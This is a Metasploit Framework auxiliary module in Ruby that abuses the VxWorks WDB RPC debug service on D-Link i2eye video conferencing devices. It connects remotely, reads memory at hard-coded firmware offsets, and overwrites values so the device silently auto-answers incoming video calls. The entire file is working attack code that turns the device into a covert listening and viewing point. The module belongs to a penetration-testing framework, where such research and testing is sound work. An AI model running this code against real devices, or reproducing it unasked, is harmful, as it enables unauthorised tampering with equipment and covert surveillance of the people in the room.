##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::WDBRPC_Client

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'D-Link i2eye Video Conference AutoAnswer (WDBRPC)',
			'Description'    => %q{
				This module can be used to enable auto-answer mode for the D-Link
			i2eye video conferencing system. Once this setting has been flipped,
			the device will accept incoming video calls without acknowledgement.
			The NetMeeting software included in Windows XP can be used to connect
			to this device. The i2eye product is no longer supported by the vendor
			and all models have reached their end of life (EOL).
			},
			'Author'         => [ 'hdm'],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['OSVDB', '66842'],
					['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
					['URL', 'http://www.kb.cert.org/vuls/id/362332']
				]
			))
	end

	def run
		target  = nil
		targets = {
			# Original firmware for the North America DVC1000
			"Sorenson VP100 - ARM9TDMI"   => [[0x00229a05, 0x00000000, 0x00000001]],

			# Final firmware for the North America DVC1000
			# Also covers a mislabeled "Sorenson VP100" (revision A3)
			"i-2-eye DVC1000 - ARM9TDMI"  => [
				[0x0040cd68, 0x00000000, 0x01000000],
				[0x0040af38, 0x00000000, 0x01000000],
				[0x0040cd00, 0x00000000, 0x01000000]
			],
		}


		wdbrpc_client_connect

		if not @wdbrpc_info[:rt_vers]
			print_error("No response to connection request")
			return
		end

		membase = @wdbrpc_info[:rt_membase]

		target = targets[@wdbrpc_info[:rt_bsp_name]]
		if not target
			print_error("No target available for BSP #{@wdbrpc_info[:rt_bsp_name]}")
			wdbrpc_client_disconnect
			return
		end

		target.each do |r|
			offset, oldval, newval = r

			curr = wdbrpc_client_memread(membase + offset, 4).unpack("N")[0]
			if curr != oldval and curr != newval
				print_error("The value at offset #{"0x%.8x" % offset} does not match this target (#{"0x%.8x" % curr}), skipping...")
				next
			end

			if curr == newval
				print_good("The value at offset #{"0x%.8x" % offset} has already been set")
			else
				wdbrpc_client_memwrite(membase + offset, [newval].pack("N"))
				curr = wdbrpc_client_memread(membase + offset, 4).unpack("N")[0]
				print_good("The value at offset #{"0x%.8x" % offset} has been set to #{"0x%.8x" % curr}")
			end

			print_status("The target device should now automatically accept incoming calls")
		end

		wdbrpc_client_disconnect
	end

end